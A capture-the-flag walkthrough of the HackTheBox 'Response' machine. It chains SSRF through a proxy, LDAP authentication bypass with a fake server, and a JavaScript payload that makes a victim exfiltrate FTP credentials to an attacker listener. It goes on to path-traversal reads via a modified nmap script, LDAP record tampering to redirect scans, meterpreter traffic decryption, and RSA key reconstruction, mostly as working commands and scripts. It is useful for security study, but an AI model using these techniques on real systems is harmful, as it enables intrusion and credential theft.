HTB - Response [Insane]
Scanning
> TARGET=10.10.11.163 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.21.6
|_http-title: Did not follow redirect to http://www.response.htb
|_http-server-header: nginx/1.21.6
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
- Domain:
response.htb
Web Enum
> dirsearch -u http://www.response.htb/
[15:04:27] 301 - 169B - /assets -> http://www.response.htb/assets/
[15:04:27] 403 - 555B - /assets/
[15:04:33] 301 - 169B - /css -> http://www.response.htb/css/
[15:04:37] 200 - 15KB - /favicon.ico
[15:04:38] 301 - 169B - /fonts -> http://www.response.htb/fonts/
[15:04:41] 301 - 169B - /img -> http://www.response.htb/img/
[15:04:41] 200 - 5KB - /index.html
[15:05:02] 301 - 169B - /status -> http://www.response.htb/status/
[15:05:02] 301 - 169B - /status?full=true -> http://www.response.htb/status/?full=true
[15:05:02] 200 - 2KB - /status/
- From the above scan and found
/status
, browse to it and spot a js file
http://www.response.htb/status/main.js.php
chat.response.htb
- By inspecting
main.js.php
, we can spot several function calls. We can call each API referenced in the functions manually to find out more info.
function get_api_status(handle_data, handle_error)
function get_chat_status(handle_data, handle_error)
function get_servers(handle_data, handle_error)
- Checking the
chat_status
, we received the following response
> curl http://proxy.response.htb/fetch -H "Content-Type: application/json" -d '{"url":"http://api.response.htb/get_chat_status","url_digest":"...","method":"GET","session":"...","session_digest":"..."}'
{"body":"eyJzdGF0dXMiOiJydW5uaW5nIiwidmhvc3QiOiJjaGF0LnJlc3BvbnNlLmh0YiJ9Cg==","status_code":200}
# base64 decode to:
{"status":"running","vhost":"chat.response.htb"}
- Directly browsing to
char.response.htb
would receive a 403. We have to find another way to access it. - Examine the
http://www.response.htb/status/
page, note this is a status page for various backend services. - The cookie
PHPSESSID
can be tampered, we may enter any value to start a new session. When trying some arbitrary urls in the cookie, we can see some errors in the response, indicating the cookie field can be tampered with urls.
<b>Warning</b>: session_start(): Session ID is too long or contains illegal characters. Only the A-Z, a-z, 0-9, "-", and "," characters are allowed in <b>/var/www/html/status/main.js.php</b> on line <b>3</b><br />
- The error response indicates illegal characters and outputs error content calling
get_chat_status
which reveals a validsession_digest
used in thechat_status
function, which we can use instead to accesschat.response.htb
. For the sake of this exercise, i used valid urls such ashttp://chat.response.htb/
in the cookie field in case it’s relevant for access control purpose (it turns out to be the case from later exploits). - After some trials and errors, we find that we can
act
as the proxy and forward requests tochat.response.htb
by tampering the cookie field and extracting validsession_digest
from it.
# Example: fetch a new session and session_digest
> curl http://www.response.htb/status/main.js.php -H 'cookie: PHPSESSID=http://chat.response.htb/' | grep session_digest
json_body = {'url':'http://api.response.htb/', 'url_digest':'...', 'method':'GET', 'session':'http://chat.response.htb/', 'session_digest':'...'};
json_body = {'url':'http://api.response.htb/get_chat_status', 'url_digest':'...', 'method':'GET', 'session':'http://chat.response.htb/', 'session_digest':'...'};
json_body = {'url':'http://api.response.htb/get_servers', 'url_digest':'...', 'method':'GET', 'session':'http://chat.response.htb/', 'session_digest':'...'};
# use the session_digest to access the chat app, note that we need to replace the url_digest with the generated session_digest
> curl http://proxy.response.htb/fetch -H "Content-Type: application/json" -d '{"url":"http://chat.response.htb/","url_digest":"...","method":"GET","session":"http://chat.response.htb/","session_digest":"..."}' | jq -r ".body" | base64 -d
<!DOCTYPE html><html lang=""><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width,initial-scale=1"><link rel="icon" href="/favicon.ico"><title>Internal Chat</title><link href="/css/app.3e20ea60.css" rel="preload" as="style"><link href="/js/app.52b61e62.js" rel="preload" as="script"><link href="/js/chunk-vendors.bc02b591.js" rel="preload" as="script"><link href="/css/app.3e20ea60.css" rel="stylesheet"></head><body><noscript><strong>We're sorry but this application doesn't work properly without JavaScript enabled. Please enable it to continue.</strong></noscript><div id="app"></div><div id="div_download" style="position:absolute;bottom:10px;right:10px;"><a href="files/chat_source.zip" style="text-decoration:none;color:#cccccc;">download source code</a></div><script src="/js/chunk-vendors.bc02b591.js"></script><script src="/js/app.52b61e62.js"></script></body></html>
- In the above response, we see there is a
files/chat_source.zip
file. Downloading this source follows a similar approach, remember to replace the url with the path to the zip file.
> curl http://www.response.htb/status/main.js.php -H 'cookie: PHPSESSID=http://chat.response.htb/files/chat_source.zip' | grep session_digest
> curl http://proxy.response.htb/fetch -H "Content-Type: application/json" -d '{"url":"http://chat.response.htb/files/chat_source.zip","url_digest":"<sessid>","method":"GET","session":"http://chat.response.htb/files/chat_source.zip","session_digest":"<sessid>"}' | jq -r ".body" | base64 -d > chat_source.zip
- Unzip the file and we can see the source code of the chat app.
- From
chat_source/server/index.js
, we found a username and passwordguest:guest
and a method that accesses a ldap server (apparently the app uses ldap for authentication purpose).
async function authenticate_user(username, password, authserver) {
if (username === 'guest' && password === 'guest') return true;
if (!/^[a-zA-Z0-9]+$/.test(username)) return false;
let options = {
ldapOpts: { url: `ldap://${authserver}` },
userDn: `uid=${username},ou=users,dc=response,dc=htb`,
userPassword: password,
}
try {
return await authenticate(options);
} catch { }
return false;
}
- From line 66-72, we spot that the authserver can be tampered (client-side controlled unvalidated input) hence we may be able to fake a ldap auth server to login as a different user.
const authserver = socket.handshake.auth.authserver;
if (!authserver) {
return next(new Error("missing authserver"));
}
if (!await authenticate_user(username, password, authserver)) {
return next(new Error("authentication error"));
}
Exploting bob
- Before we can easily exploit the chat app, we need to make it more convenient to access the chat app. Because the url we put into the session cookie seems to be used for session control purpose, therefore, we need to create a python proxy script to automatically create new sessions using the url we want to access and forwards it to the target.
- For the browser (later we’ll use to browse the chat app) to forward requests to
chat.response.htb
to our python proxy script, add an entry forchat.response.htb
and point to attacker’s host. - Create a python script that proxies GET and POST requests with digests so that we can use to access the chat app more conveniently. Below is the script i used:
import base64
from http.server import BaseHTTPRequestHandler, HTTPServer
import re
import requests
class ProxyServer(BaseHTTPRequestHandler):
def do_GET(self):
self.request_handler('GET')
def do_POST(self):
self.request_handler('POST')
def request_handler(self, method):
url = 'http://chat.response.htb' + self.path
print(f"{method}: {url}")
post_body = self.rfile.read(int(self.headers.get('Content-Length'))) if method == 'POST' else None
d = self.proxy(url, method, post_body)
if self.path.endswith('.js'):
content_type = "application/javascript"
elif self.path.endswith('.css'):
content_type = "text/css"
else:
content_type = "text/html"
self.send_response(200)
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(d)
def proxy(self, url, method, body=None):
r = requests.get('http://www.response.htb/status/main.js.php', cookies={'PHPSESSID': url})
d = {
'url': url,
'url_digest': re.search(r'\'session_digest\':\'([^\']+)', r.text).group(1),
'method': method,
# can use the session and session_digest values found in main.js.php
'session': '50738285afdeabcba6fbfbd97df02259',
'session_digest': 'd777a64491c24fb5503128d5ed8f76ef87de00e78920f9fbe1d0b8844affcbc2'
}
if method == 'POST':
# note that the post body is base64 encoded
d['body'] = base64.b64encode(body)
r = requests.post('http://proxy.response.htb/fetch', json=d)
return base64.b64decode(r.json()['body'])
webServer = HTTPServer(('0.0.0.0', 80), ProxyServer)
try:
webServer.serve_forever()
except KeyboardInterrupt:
pass
webServer.server_close()
- With the proxy script running, browse to
http://chat.response.htb
and login asguest
. bob
is online and will talk to us:
i need to talk to admin, NOW!
- We should be able to tamper the
authserver
parameter to point to our fake ldap server and login as admin for bob to trust us. - Intercept the login request to the chat app with burp and change the
username
andauthserver
parameters. We can run a simple netcat command as a poc.
> nc -vnlp 389
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::389
Ncat: Listening on 0.0.0.0:389
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:34706.
09`4%uid=admin,ou=users,dc=response,dc=htbpassword
- We should be able to receive a ldap request from the chat app like above. This proves our concept. All we need to do next is to run a proper ldap server to authenticate the request.
Fake ldap server
- Using
https://github.com/glauth/glauth
to setup a fake ldap server, get the sample config from the repo and change the following parameters for the server to match with the target
# line 23
listen = "0.0.0.0:389"
# line 38
nameformat = "uid"
# line 70
name = "admin"
# line 79
object = "ou=users,dc=response,dc=htb"
# line 137
name = "users"
- Run the tool
# note the default password is: dogood
> ./glauth-linux-amd64 -c sample-simple.cfg
- Now, repeat the same process, intercept the login request, change the username, password and authserver address and login as
admin
.
40{"username":"admin","password":"dogood","authserver":"<attacker-ip>"}
# from the fake ldap server, we should see something like below
> ./glauth-linux-amd64 -c sample-simple.cfg
Thu, 05 Jan 2023 20:23:20 -0500 INF Debugging enabled
Thu, 05 Jan 2023 20:23:20 -0500 INF AP start
Thu, 05 Jan 2023 20:23:20 -0500 INF Web API enabled
Thu, 05 Jan 2023 20:23:20 -0500 INF Starting HTTP server address=0.0.0.0:5555
Thu, 05 Jan 2023 20:23:20 -0500 INF Loading backend datastore=config position=0
Thu, 05 Jan 2023 20:23:20 -0500 INF LDAP server listening address=0.0.0.0:389
Thu, 05 Jan 2023 20:23:52 -0500 INF Bind request basedn=dc=response,dc=htb binddn=uid=admin,ou=users,dc=response,dc=htb src=10.10.11.163:42786
Thu, 05 Jan 2023 20:23:52 -0500 INF Bind success binddn=uid=admin,ou=users,dc=response,dc=htb src=10.10.11.163:42786
- After login as admin, talk to bob. We will see the following conversation.
(bob)
admin! do u have a second?
(yourself)
yes
(bob)
awesome!
i moved the internal ftp server... the new ip address is 172.18.0.4 and it is listening on port 2121. the creds are ftp_user / S*********5
outgoing traffic from the server is currently allowed, but i will adjust the firewall to fix that
btw. would be great if you could send me the javascript article you were talking about
ftp -> user flag
- From the messages of bob, we learnt that there is a FTP server at
172.18.0.4
and the credential to access it. Also, bob seems to be expecting a link from us. We can use this trust to setup a http server with js code that accesses the FTP server, then send it to bob to access the FTP server for us. - Create a html page and serve it. This will use the FTP server’s
PORT
command to exfiltrate data for us. For more detail on how thePORT
command works, refer to: https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp#some-ftp-commands - Create and serve the html file.
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", 'http://172.18.0.4:2121/', true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("USER ftp_user\r\nPASS S*********5\r\nPORT 10,10,xx,xx,0,88\r\nLIST\r\n");
</script>
</body>
</html>
- Setup a nc listener on port 88 to receive the response.
> nc -vnlp 88
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::88
Ncat: Listening on 0.0.0.0:88
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:38126.
-rw-r--r-- 1 root root 74 Mar 16 2022 creds.txt
- then we can change the command to RETR creds.txt to get the content of the text file
> nc -vnlp 88
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::88
Ncat: Listening on 0.0.0.0:88
Ncat: Connection from 10.10.11.163.
Ncat: Connection from 10.10.11.163:38538.
ftp
---
ftp_user / S*********5
ssh
---
bob / F*************************M
- NOTE: for some reason, in order for the link to work, we have to first answer “yes” to bob and wait for him to spit out all the conversation until he asks for the link. Then we paste our http server link to him.
- Now, login as bob via ssh to fetch the user flag
PE: scryh
- Examine the file system found an interesting folder at:
/home/scryh/scan
- Reading the content found admin user’s password in
/home/scryh/scan/scan.sh
: a***************3 - Reading through the scripts in this folder, this seems like a task that uses nmap to perform some scanning tasks.
- Reading through the nse scripts in
/home/scryh/scan/scripts
found some differences for the scriptssl-cert.nse
that could be useful to us.
> diff /usr/share/nmap/scripts/ssl-cert.nse home/scryh/scan/scripts/ssl-cert.nse
- From the diff, we spot that there is a new
function read_file
added in the target’s ssl-cert script which is then used inget_countryName
andget_stateOrProvinceName
. This function may be exploited to read arbitrary files (i.e LFI). Pay particular attention to the following part of the script, the way theread_file
method is used implies a LFI vulnerability becausesubject['stateOrProvinceName']
is controllable by us (by generateing a self-signed ssl cert with a malicious payload instateOrProvinceName
field). So, we can create a certificate withstateOrProvinceName
set to something like../../../.ssh/id_rsa
to read the private key.
local function get_stateOrProvinceName(subject)
stateOrProvinceName = read_file('data/stateOrProvinceName/' .. subject['stateOrProvinceName'])
if (stateOrProvinceName == '') then
return 'NO DETAILS AVAILABLE'
end
return stateOrProvinceName
end
Understanding scan.sh
- Reading through
scan.sh
, this script is used for several things- fetch domain name by manager id in the ldap server
- resolve domain name by the default dns (127.0.0.1) first, if failed, check the test server’s IP (referenced by the manager’s id) and attempt to resolve the IP from the test server.
- perform a scan on port 443 of the test server, generate a pdf report and send the report to a smtp server identified by the resolved IP from above
- So, to exploit this, we could login to the ldap server (since we have the admin’s password) and change the test server’s IP to point to our attacker box. Therefore, all DNS, SMTP and HTTPS scanning requests are directed to our controlled IP.
- On the attakcer’s box, we need to setup a fake DNS server (to provider name resolution), a fake HTTPS server (for the scan task and to exploit the LFI) and a SMTP server (to receive the email).
- Check the target domain by fetching the manager’s info in ldap, i.e:
response-test.htb
> /usr/bin/ldapsearch -x -D "cn=admin,dc=response,dc=htb" -w a***************3 -s sub -b 'ou=customers,dc=response,dc=htb'
# marie, customers, response.htb
dn: uid=marie,ou=customers,dc=response,dc=htb
objectClass: inetOrgPerson
cn: Marie Wiliams
sn: Marie
uid: marie
mail: marie.w@response-test.htb
- Check the server IP that matches the manager user, we can tamper this IP to point to us
> /usr/bin/ldapsearch -x -D 'cn=admin,dc=response,dc=htb' -w a***************3 -s sub -b 'ou=servers,dc=response,dc=htb' '(objectclass=ipHost)'
# TestServer, servers, response.htb
dn: cn=TestServer,ou=servers,dc=response,dc=htb
objectClass: top
objectClass: ipHost
objectClass: device
cn: TestServer
manager: uid=marie,ou=customers,dc=response,dc=htb
ipHostNumber: 172.18.0.6
Fake servers setup
- Fake https server
# Can use the example here: https://gist.github.com/dergachev/7028596
# To create a self-signed .pem key
> openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
# Note: to exploit the LFI, set the following parameter like below
# State or Province Name (full name) [Some-State]:../../../.ssh/id_rsa
- Fake smtp server
# python3 has an smtpd module
> python3 -m smtpd -n -c DebuggingServer 0.0.0.0:25
- Fake DNS server
> dnschef -i <attacker-ip> --fakemail response-test.htb --fakedomains response-test.htb --fakeip <attacker-ip>
Trigger the attack
- The attack can be triggered by using
ldapmodify
. For more detail about ldapmodify: https://www.digitalocean.com/community/tutorials/how-to-use-ldif-files-to-make-changes-to-an-openldap-system - Create a mod.ldif file with the following content on the target
dn: cn=TestServer,ou=servers,dc=response,dc=htb
changetype: modify
replace: ipHostNumber
ipHostNumber: <attacker-ip>
- This will update the ldap record so that dns, mail and scan-ip are all pointed to our fake servers
> /usr/bin/ldapmodify -a -x -D 'cn=admin,dc=response,dc=htb' -w a***************3 -H ldap:// -f mod.ldif
- Wait a while and receive the pdf scan report in attachment (base64 encoded) sent to us in the fake smtp server.
- Parse the output and convert to pdf file to see the scan result.
- From the scan result, we can grab the id_rsa key for the user
scryh
. Now, we can login asscryh
PE: root -> recover zip
- After login, we can find a folder at
/home/scryh/incident_2022-3-042
with some files in it. Copy these to local for further analysis. - By reading the
IR_report.pdf
, we learnt that there was an incident and someone uploaded a binary to the admin’s machine. - By reading the
dump.pcap
file, we can locate a http stream where the attacker tricked the admin to download a binary file:auto_update
. - We can use wireshark’s built-in export feature to export this binary file. For more details: https://www.rubyguides.com/2012/01/four-ways-to-extract-files-from-pcaps/
- Once the binary is extracted, we can reverse it using
ghidra
. With some time, we can confidently say the binary used is this: https://github.com/rapid7/mettle. We can see a reference to/mettle/mettle/src/main.c
in the main function after reverse. This is actually created a meterpreter session. - By reading the incident response report and the .pcap file, we understand that the attacker used a meterpreter session (also evidented by the finding of mettle from above) and likely transferred a zip file.
- We can, later, find the meterpreter sessions in the pcap encrypted in TLV format, which uses the standard AES-256 for encryption. This means, we should be able to find an AES-256 key in the core dump file (AEK encryption/descryption takes place in the memory).
- For more r.e TLV: https://github.com/OJ/clr-meterpreter/blob/master/streams/2019-04-25-Part-2/tlv.md
- More on post exploit analysis r.e meterpreter: https://www.giac.org/paper/gcih/20543/analysis-meterpreter-post-exploitation/123928 (2.5 TCP Communication)
- To extract the AES key, we can use
aeskeyfind
. For more on AES key finding, refer to: https://diyinfosec.medium.com/scanning-memory-for-fek-e17ca3db09c9
> aeskeyfind core.auto_update
f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e1********************5
f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e1********************5
f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e1********************5
f2003c143dc8436f39ad6f8fc4c24f3d35a35d862e1********************5
Keyfind progress: 100%
- To extract the TLV streams from the pcap file, we first identified that the attacker’s ip is
10.10.13.42
and the admin’s ip is10.10.13.37
. Set the wireshark filter as:ip.src==10.10.13.37&&ip.dst==10.10.13.42
. Then look at the stream that goes to a destination port of 4444 (i.e tcp.stream eq 97). - To extract the part that is relevant to our usage, follow the below steps:
* Follow the TCP stream 97
* In the bottom-left filter, change 'Entire conversation' to '10.10.13.37:41658 -> 10.10.13.42:4444' # we only need the receive part
* In the bottom-middle filter, Show data as: Raw
* Now you should have all the received streams (likely shown in red)
* Among all the streams (70 lines in total), two of them actually represent a zip file split into two parts.
* Part 1: line 19-63 (incl)
* Part 2: line 64-67 (incl)
- With Part 1 and Part 2 identified. We now need to decrypt these two streams, i used a python library
meterpreter_traffic_parser
and the following script. Concat all lines in Part 1 into one line to form a very very very long hex string. Same goes for Part 2.
from meterpreter_traffic_parser import *
from Crypto.Util.number import long_to_bytes
aes_key = b'extracted_aes_key' # format \x00\x00\x00\x00.......
data = 0xextractect_long_stream_1 # this is of type long
p = Packet(long_to_bytes(data), aes_key)
p.describe()
- The above script will produce a large bytestring in the last payload section. Save this bytestring to a file and do the same for Part 2 stream.
- Concat the two bytestrings into one final bytestring. This is the byte form of the zip file we are trying to recover.
- All we need to do now is to covert the bytestring to a zip file.
bystringdata = b'your_final_concated_byte_string_of_the_two_parts'
with open("recovered.zip", "wb") as binary_file:
binary_file.write(bystringdata)
- Now, unzip this zip file and you should find 5 files in a folder called
Documents
:
> ls -la Documents
total 1276
drwxr-xr-x 2 root root 4096 Mar 14 2022 .
drwxr-xr-x 8 root root 4096 Jan 4 18:31 ..
-rw------- 1 root root 567 Mar 14 2022 authorized_keys
-rw------- 1 root root 1522 Mar 14 2022 bookmarks_3_14_22.html
-rw-rw-r-- 1 root root 1278243 Jun 15 2022 'Screenshot from 2022-06-15 13-37-42.png'
-rw-rw-r-- 1 root root 245 Mar 14 2022 .tmux.conf
-rw-rw-r-- 1 root root 95 Mar 14 2022 .vimrc
PE: root -> private key recovery
authorized_keys
is the public key of the root user. This can help us to identify then
value used for RSA. We’ll come back to this later.- From the recovered screenshot, we can read a partial openssh private key. i searched for a picture recognition tool online to help doing the initial convertion, and then checked it letter by letter for 3 times to ensure i’ve got things correctly.
-----BEGIN OPENSSH PRIVATE KEY-----
ntEd3KnWNpkbwp28vVgasUOq3CQBbDOQAAAMEAxwsaGXCZwMb/JH88XvGhu1Bo2zomIhaV
MrbN5x4q3c7Z0u9gmkXO+NWMpX7T20l0OBEIhrW6DQOsxis/CrS5u69F6tUZjlUdNE1zIE
7********************************************************************D
K26Z7ZzdV2ln2kyiLfokN8WbYxHeQ/7/jVBXf71BU1+Xg8X44njVp3Xf9gO6cYVaqb1xBs
Z7bG8Warkycj7ZAAAADXJvb3RAcmVzcG9uc2UBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
- The key is truncated, therefore we need to find a way to get useful information from it. Here, we need to understand two things first:
- RSA encryption/decryption algorithms
- OPENSSH private key format
RSA encryption/decryption algorithms
# https://en.wikipedia.org/wiki/RSA_(cryptosystem)
* Choose two distinct prime numbers, p and q
* n = pq
* Compute the Carmichael's totient function of n: λ(n) = lcm(p − 1, q − 1)
* Choose any number 1 < e < λ(n) that is coprime to λ(n)
* Compute d, the modular multiplicative inverse of e (mod λ(n))
* Public key contains n and e
* Encryption process: cipher = msg^e mode n
* Private key contains n and d
* Decryption process: msg = cipher^d mod n
- All computation can be derived once
n
and (p
orq
) is obtained. The public key already containsn
. So, we just need to obtain eitherp
orq
from the partial private key
OPENSSH private key format
# https://coolaj86.com/articles/the-openssh-private-key-format/
"openssh-key-v1"0x00 # NULL-terminated "Auth Magic" string
32-bit length, "none" # ciphername length and string
32-bit length, "none" # kdfname length and string
32-bit length, nil # kdf (0 length, no kdf)
32-bit 0x01 # number of keys, hard-coded to 1 (no length)
32-bit length, sshpub # public key in ssh format
32-bit length, keytype
32-bit length, pub0
32-bit length, pub1
32-bit length for rnd+prv+comment+pad
64-bit dummy checksum? # a random 32-bit int, repeated
32-bit length, keytype # the private key (including public)
32-bit length, pub0 # Public Key parts
32-bit length, pub1
32-bit length, prv0 # Private Key parts
... # (number varies by type)
32-bit length, comment # comment string
padding bytes 0x010203 # pad to blocksize (see notes below)
- OPENSSH private key are base64 encoded. So, from the partial private key, we can decode it and examine what information we can retrieve from there. Hopefully, we can find either a
p
orq
value.
Decrypting the partial private key
- Coming back to the truncated private key. If we directly base64 decode the partial key, we will receive an
invalid input
error. This is due to the key is truncated and base64 is a 6 bit encoding method. So, we can remove from the left of the base64 encoded string letter-by-letter, until the base64 decode doesn’t output an error. In this case, we just need to removen
andt
, the rest can be decoded correctly.
> echo -n '<root_key_base64_string>' | base64 -d | hexdump -C
00000000 11 dd ca 9d 63 69 91 bc 29 db cb d5 81 ab 14 3a |....ci..)......:|
00000010 ad c2 40 16 c3 39 00 00 00 c1 00 c7 0b 1a 19 70 |..@..9.........p|
...
000000d0 c6 7b 6c 6f 16 6a b9 32 72 3e d9 00 00 00 0d 72 |.{lo.j.2r>.....r|
000000e0 6f 6f 74 40 72 65 73 70 6f 6e 73 65 01 02 03 04 |oot@response....|
000000f0 05 |.|
000000f1
- Inside this part of the hexdump, we are actually able to identify the
q
value used in the formulan = p * q
. We will come back to this later. - From this hexdump, we are able to recognize some patterns, note the padding part
01 02 03 04 05
and comment partroot@response
. With the above reference of OPENSSH structure, we can identify a few things:- On line 000000e0:
01 02 03 04 05
is the padding part - From line
000000d0
and000000e0
, we can identify the comment section:root@response
- So, from line
000000d0
and above, it should largely be the private key section
- On line 000000e0:
- Yet, we still need to figure out what information we can get from the line
000000d0
and above. It’s actually theq
value. Below is how it was identified. - Remember that we have obtained scryh’s private key before? Since this key was generated on the same machine, we can use this as a reference to help us identifying what information we can obtain from the partial private key.
- The partial private key obtained only contains 5 lines of information (and we also remove the first 2 letter for base64 decoding). We can adopt the same pattern and base64 decode scryh’s private key.
> echo -n '<scryh_key_base64_string>' | base64 -d | hexdump -C
00000000 65 ed a4 7d 55 af 2e 97 d0 76 fe 01 9a ea e6 42 |e..}U....v.....B|
00000010 d2 35 cc a3 69 97 00 00 00 c1 00 d7 28 84 6d e6 |.5..i.......(.m.|
...
000000d0 37 31 e5 eb 9c e2 92 32 9f ec c1 00 00 00 0d 72 |71.....2.......r|
000000e0 6f 6f 74 40 72 65 73 70 6f 6e 73 65 01 02 03 04 |oot@response....|
000000f0 05 |.|
000000f1
- At the same time, we can use
openssh_key_parser
https://pypi.org/project/openssh-key-parser/ to decode theentire
scryh’s private key to help with our understanding. We can see thep
andq
value in the private key of scryh.
> python -m openssh_key scryh.id_rsa
{
"data": [
[
{
"header": {
"key_type": "ssh-rsa"
},
"params": {
"data": {
"e": 65537,
"n": ...
}
},
"footer": {},
"clear": {}
},
{
"header": {
"key_type": "ssh-rsa"
},
"params": {
"data": {
"n": ...,
"e": 65537,
"d": ...,
"iqmp": ...,
"p": ...,
"q": 202577...
}
},
"footer": {
"comment": "root@response"
},
"clear": {}
}
]
],
"byte_string": "b'openssh-key-v1....'",
"header": {
"auth_magic": "b'openssh-key-v1\\x00'",
"cipher": "none",
"kdf": "none",
"kdf_options": "b''",
"num_keys": 1
},
"cipher_bytes": "b'....'",
"kdf_options": {
"data": {}
},
"decipher_bytes": "b'....'",
"decipher_bytes_header": {
"check_int_1": 842504330,
"check_int_2": 842504330
},
"decipher_padding": "b'\\x01\\x02\\x03\\x04\\x05'"
}
- Then, we convert the decimal value
q
to hex to help mapping it in the hexdump of the manually truncated scryh’s private key
> python -c 'print(hex(202577...))'
0xd72884...
- By referring the hex value from above with the hexdump from the manually truncated scryh’s private key, we can see that the actual
q
value starts from line00000010
on the 12th block and ends on000000d0
on the 11th block. Thus, we adopt the same pattern on the root’s partial private key hexdump and obtained theq
value from there:
# starts on line 00000010 on the 12th block
c7 .......... d9
# ends on `000000d0` on the 11th block
- We then convert this hex value to int to obtain the
q
value in decimal
> python -c 'print(int(0xc70b...))'
1874...
- We can then calculate the
p
value using a big number calculator online: https://www.calculator.net/big-number-calculator.html
# p = n/q
1916...
- Then, we write a python script following the linked article to recover a private key.
n = ...
q = ...
p = ...
e = 0x010001
phi = (p -1)*(q-1)
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
gcd, x, y = egcd(a, m)
if gcd != 1:
return None # modular inverse does not exist
else:
return x % m
d = modinv(e,phi)
dp = modinv(e,(p-1))
dq = modinv(e,(q-1))
qi = modinv(q,p)
import pyasn1.codec.der.encoder
import pyasn1.type.univ
import base64
def pempriv(n, e, d, p, q, dP, dQ, qInv):
template = '-----BEGIN RSA PRIVATE KEY-----\n{}-----END RSA PRIVATE KEY-----\n'
seq = pyasn1.type.univ.Sequence()
for i,x in enumerate((0, n, e, d, p, q, dP, dQ, qInv)):
seq.setComponentByPosition(i, pyasn1.type.univ.Integer(x))
der = pyasn1.codec.der.encoder.encode(seq)
return template.format(base64.encodebytes(der).decode('ascii'))
key = pempriv(n,e,d,p,q,dp,dq,qi)
f = open("recovered.key","w")
f.write(key)
f.close()
- Convert the key to OPENSSH format
> chmod 400 recovered.key
> ssh-keygen -p -N "" -f recovered.key
- Access the target and obtain the root flag
> ssh -i recovered.key root@response.htb